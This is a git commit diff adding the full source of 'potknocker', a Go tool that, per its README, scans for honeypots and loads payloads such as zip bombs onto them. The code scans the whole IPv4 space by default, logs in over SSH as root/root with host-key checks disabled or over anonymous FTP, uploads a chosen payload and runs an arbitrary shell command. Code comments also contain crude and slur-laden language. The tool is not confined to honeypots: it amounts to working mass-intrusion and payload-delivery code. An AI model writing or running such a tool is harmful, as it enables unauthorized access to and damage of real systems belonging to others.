commit 7103b2efb32aacf0b7c96e3420d703fdf4ff1ff8 Author: delorean Date: Fri Aug 30 18:51:26 2024 -0500 initial diff --git a/README.md b/README.md new file mode 100644 index 0000000..144a4a9 --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# potknocker + +> scans for honeypots and loads arbitrary payloads onto them, like zip bombs + +

+ +

diff --git a/cmd/potknocker/main.go b/cmd/potknocker/main.go new file mode 100644 index 0000000..a7a87c5 --- /dev/null +++ b/cmd/potknocker/main.go @@ -0,0 +1,12 @@ +package main + +import ( + "potknocker/common" +) + +func main() { + common.LoadConf() + common.SetExcludes() + common.Banner() + common.Takeoff() +} diff --git a/common/config.go b/common/config.go new file mode 100644 index 0000000..f8c4d15 --- /dev/null +++ b/common/config.go @@ -0,0 +1,74 @@ +package common + +import ( + "flag" + "fmt" + "os" +) + +var ( + cidr = flag.String("r", "", "") + list = flag.String("l", "", "") + threads = flag.Int("t", 25, "") + sshmode = flag.Bool("ssh", false, "") + ftpmode = flag.Bool("ftp", false, "") + payload = flag.String("p", "", "") + cmd = flag.String("c", "", "") + silent = flag.Bool("s", false, "") + + Params *Config +) + +type Config struct { + Cidr string // individual cidr to target + Targets string // list of target cidrs + Mode uint8 // 0:ssh 1:ftp + Payload string // file to upload + Command string // commands to run within ssh session after payload upload + Threads int // concurrent workers + Silent bool // no verbosity +} + +func LoadConf() { + flag.Usage = usage + flag.Parse() + + if len(os.Args) == 1 { + usage() + os.Exit(1) + } + + if !*sshmode && !*ftpmode { + fatal("are you targeting ssh (-ssh) or ftp (-ftp)?") + } + + if _, err := os.Stat(*payload); err != nil { + fatal("payload '" + *payload + "' not found") + } + + targetcidr := "" + if *list == "" && *cidr == "" { + targetcidr = "0.0.0.0/0" + } else if *cidr != "" { + if !validcidr(*cidr) { + fatal(fmt.Sprintf("invalid target cidr: %s", *cidr)) + } + + targetcidr = *cidr + } + + var mode uint8 = 0 + if *ftpmode { + mode = 1 + } + + Params = &Config{ + targetcidr, + *list, + mode, + *payload, + *cmd, + *threads, + *silent, + } +} diff --git a/common/console.go b/common/console.go new file mode 100644 index 0000000..b490e66 --- /dev/null +++ b/common/console.go @@ -0,0 +1,80 @@ +package common + +import ( + "fmt" + "os" + "time" +) + +var ( + colorReset = "\033[0m" + colorRed = "\033[31m" + colorPurple = "\033[35m" + colorCyan = "\033[36m" + colorYellow = "\033[33m" + colorGreen = "\033[32m" + skull = "\u2620" +) + +func fatal(e string) { + fmt.Printf("%s%s %s%s\n", colorRed, skull, e, colorReset) + os.Exit(-1) +} + +func info(msg string) { + fmt.Printf("%si %s%s\n", colorCyan, msg, colorReset) +} + +func warn(msg string) { + fmt.Printf("%s! %s%s\n", colorYellow, msg, colorReset) +} + +func success(msg string) { + fmt.Printf("%s+ %s%s\n", colorGreen, msg, colorReset) +} + +func usage() { + Banner() + fmt.Fprintf(os.Stderr, ` +potknocker - the block party on honeypot street +%s!%s -r %starget specific cidr range [0.0.0.0/0]%s + -l %slist of target cidr's (individual ip = /32)%s +%s!%s -ssh %starget ssh honeypots%s +%s!%s -ftp %starget ftp honeypots +%s!%s -p %spayload file to upload%s + -c %sshell command to run after uploading ssh payload%s + -t %sthreads [25]%s + -s %ssilence attempt logs%s +`, colorRed, colorCyan, colorPurple, colorCyan, colorPurple, colorCyan, colorYellow, colorCyan, colorPurple, + colorCyan, colorYellow, colorCyan, colorPurple, colorRed, colorCyan, colorPurple, colorCyan, colorPurple, + colorCyan, colorPurple, colorCyan, colorPurple, colorReset) +} + +func Banner() { + fmt.Fprintf(os.Stderr, ` + ___________ ____ + ______/ \__// \__/____\ + _/ \_/ //____\\ + /| / \ + | | \ / + | | | || \ \______/ + | | || || |\ / | + \| || || | / | \ + | || || | / /_\ \ + | ___ || ___ || | / / \ + \_ _/ \_ _/ | ____ |/__/ \ + _\_ _/ \ / + /____ / + / \ / + \______\_________/ + +%spotknocker - doing burnouts down honeypot street%s +sincerely, + ~delorean +`, colorRed, colorReset) +} + +func pause() { + time.Sleep(3 * time.Second) + warn("parking in front of steve linford's house...") +} diff --git a/common/exec.go b/common/exec.go new file mode 100644 index 0000000..daf4a38 --- /dev/null +++ b/common/exec.go @@ -0,0 +1,76 @@ +package common + +// separate channel iterators per case might not look the prettiest, but performs better due to +// not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle. +// form over function source code aestheticians can suck the skin off my dick. on chirp. +func thread(addrs <-chan string, tab chan<- interface{}) { + switch Params.Mode { + case 0: // ssh + for addr := range addrs { + if !ipexcluded(addr) { + if !Params.Silent { + info("trying ssh connection to " + addr) + } + if c, err := connssh(addr); err == nil { + success("connected to " + addr + " - " + string(c.ServerVersion())) + if err = loadpl(c); err == nil { + success("wrote payload to " + c.RemoteAddr().String()) + if Params.Command != "" { + if err = runcmd(c, Params.Command); err == nil { + success("executed command on " + c.LocalAddr().String() + " as " + c.User()) + } + } + } + c.Close() + } + } + } + default: // ftp + for addr := range addrs { + if !ipexcluded(addr) { + if !Params.Silent { + info("trying anonymous ftp connection to " + addr) + } + if c, err := connftp(addr); err == nil { + success("logged into " + addr + " as anonymous") + if err = uploadplftp(c); err == nil { + success("delivered payload to anonymous ftp server at " + addr) + } + c.Quit() + } + } + } + } + + tab <- "hack the planet" +} + +func Takeoff() { + // id die for my niggas + // i ride my niggas + // ride for* + pause() + + addrs := make(chan string) + tab := make(chan interface{}) + + for x := 0; x < Params.Threads; x++ { + go thread(addrs, tab) + } + + if Params.Cidr != "" { + if !cidrexcluded(Params.Cidr) { + lcgcidr(Params.Cidr, addrs) + } else { + fatal("provided cidr " + Params.Cidr + " is within an excluded range") + } + } else { + readlist(Params.Targets, addrs) + } + close(addrs) + + for x := 0; x < Params.Threads; x++ { + <-tab + } + close(tab) +} diff --git a/common/ftp.go b/common/ftp.go new file mode 100644 index 0000000..3d29156 --- /dev/null +++ b/common/ftp.go @@ -0,0 +1,34 @@ +package common + +import ( + "fmt" + "os" + "time" + + "github.com/jlaffaye/ftp" +) + +func connftp(addr string) (*ftp.ServerConn, error) { + c, err := ftp.Dial(fmt.Sprintf("%s:%d", addr, 21), ftp.DialWithTimeout(400*time.Millisecond)) + if err != nil { + return nil, err + } + + err = c.Login("anonymous", "anonymous") + if err != nil { + return nil, err + } + + return c, nil +} + +func uploadplftp(c *ftp.ServerConn) error { + fd, err := os.Open(Params.Payload) + if err != nil { + warn("error opening local payload file") + return err + } + defer fd.Close() + + return c.Stor(Params.Payload, fd) +} diff --git a/common/lcg.go b/common/lcg.go new file mode 100644 index 0000000..a4d35d1 --- /dev/null +++ b/common/lcg.go @@ -0,0 +1,42 @@ +package common + +import ( + "fmt" + "math/big" + "net" +) + +func iptouint(ip net.IP) uint32 { + ip = ip.To4() + return uint32(ip[0])<<24 | uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3]) +} + +func toip(num uint32) string { + return fmt.Sprintf("%d.%d.%d.%d", + (num>>24)&255, + (num>>16)&255, + (num>>8)&255, + num&255) +} + +// per-cidr linear congruential generator for efficient randomized target ip ordering, ty claude +func lcgcidr(cidr string, out chan<- string) { + // lcg constants + const a uint64 = 1664525 + const c uint64 = 1013904223 + + _, ipnet, _ := net.ParseCIDR(cidr) + start := iptouint(ipnet.IP) + + ones, bits := ipnet.Mask.Size() + addrcount := new(big.Int).Lsh(big.NewInt(1), uint(bits-ones)) + + x := uint64(start) + m := uint64(addrcount.Uint64()) + + for i := uint64(0); i < m; i++ { + x = (a*x + c) % (1 << 32) // mod of full 32bit addr count + ip := toip(uint32((x % m) + uint64(start))) + out <- ip + } +} diff --git a/common/net.go b/common/net.go new file mode 100644 index 0000000..4a4887a --- /dev/null +++ b/common/net.go @@ -0,0 +1,128 @@ +package common + +import ( + "io" + "net" + "net/http" + "strings" +) + +var rfc1918 = []string{ + "0.0.0.0/8", + "10.0.0.0/8", + "192.168.0.0/16", + "172.16.0.0/12", +} + +var excludes []*net.IPNet + +func pullbogons() ([]string, error) { + res, err := http.Get("https://www.team-cymru.org/Services/Bogons/fullbogons-ipv4.txt") + if err != nil { + return nil, err + } + + if res.StatusCode == 404 { + return nil, err + } + + defer res.Body.Close() + + b := new(strings.Builder) + + _, _ = io.Copy(b, res.Body) + raw := b.String() + parts := strings.Split(raw, "\n") + var bogons []string + for _, r := range parts { + if strings.Contains(r, "#") || !strings.Contains(r, "/") { + continue + } + + bogons = append(bogons, r) + } + return bogons, nil +} + +func parseranges(ranges []string) error { + for _, r := range ranges { + _, ipnet, err := net.ParseCIDR(r) + if err != nil { + return err + } + excludes = append(excludes, ipnet) + } + return nil +} + +func validcidr(cidr string) bool { + _, _, err := net.ParseCIDR(cidr) + if err != nil { + return false + } + return true +} + +func broadcast(ipnet *net.IPNet) net.IP { + ip := ipnet.IP.To4() + mask := ipnet.Mask + + for i := range ip { + ip[i] |= ^mask[i] + } + + return ip +} + +func issmaller(submask, supermask net.IPMask) bool { + for i := range submask { + if submask[i] < supermask[i] { + return false + } + } + return true +} + +func issubnet(subnet, supernet *net.IPNet) bool { + if !supernet.Contains(subnet.IP) { + return false + } + + if !issmaller(subnet.Mask, supernet.Mask) { + return false + } + + bc := broadcast(subnet) + return supernet.Contains(bc) +} +func ipexcluded(ip string) bool { + ip_ := net.ParseIP(ip) + for _, ex := range excludes { + if ex.Contains(ip_) { + return true + } + } + + return false +} + +func cidrexcluded(cidr string) bool { + _, argnet, _ := net.ParseCIDR(cidr) + for _, ex := range excludes { + if issubnet(argnet, ex) { + return true + } + } + + return false +} + +func SetExcludes() { + if bogons, err := pullbogons(); err == nil && len(bogons) > 4 { + if err = parseranges(bogons); err == nil { + return + } + } + info("error parsing bogon ranges, using rfc1918 defaults") + _ = parseranges(rfc1918) +} diff --git a/common/read.go b/common/read.go new file mode 100644 index 0000000..4dea95c --- /dev/null +++ b/common/read.go @@ -0,0 +1,27 @@ +package common + +import ( + "bufio" + "fmt" + "os" + "strings" +) + +func readlist(list string, out chan string) { + fd, err := os.Open(list) + if err != nil { + fatal(err.Error()) + } + defer fd.Close() + + fs := bufio.NewScanner(fd) + for fs.Scan() { + line := strings.TrimSpace(fs.Text()) + if len(line) > 0 { + if !validcidr(line) { + fatal(fmt.Sprintf("invalid target range: %s", line)) + } + lcgcidr(line, out) + } + } +} diff --git a/common/ssh.go b/common/ssh.go new file mode 100644 index 0000000..0948e2d --- /dev/null +++ b/common/ssh.go @@ -0,0 +1,31 @@ +package common + +import ( + "net" + "time" + + "github.com/melbahja/goph" + "golang.org/x/crypto/ssh" +) + +func connssh(addr string) (*goph.Client, error) { + return goph.NewConn(&goph.Config{ + User: "root", + Addr: addr, + Port: uint(22), + Auth: goph.Password("root"), + Callback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { + return nil + }, + Timeout: 400 * time.Millisecond, + }) +} + +func loadpl(c *goph.Client) error { + return c.Upload(Params.Payload, "/root/"+Params.Payload) +} + +func runcmd(c *goph.Client, cmd string) error { + _, err := c.Run(cmd) + return err +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..b4c2cbe --- /dev/null +++ b/go.mod @@ -0,0 +1,18 @@ +module potknocker + +go 1.22.6 + +require ( + github.com/pkg/sftp v1.13.6 + golang.org/x/crypto v0.26.0 +) + +require ( + github.com/hashicorp/errwrap v1.0.0 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect + github.com/jlaffaye/ftp v0.2.0 // indirect + github.com/kr/fs v0.1.0 // indirect + github.com/melbahja/goph v1.4.0 // indirect + github.com/pkg/errors v0.9.1 // indirect + golang.org/x/sys v0.23.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..d752177 --- /dev/null +++ b/go.sum @@ -0,0 +1,74 @@ +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= +github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= +github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/melbahja/goph v1.4.0 h1:z0PgDbBFe66lRYl3v5dGb9aFgPy0kotuQ37QOwSQFqs= +github.com/melbahja/goph v1.4.0/go.mod h1:uG+VfK2Dlhk+O32zFrRlc3kYKTlV6+BtvPWd/kK7U68= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg= +github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo= +github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw= +golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM= +golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU= +golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=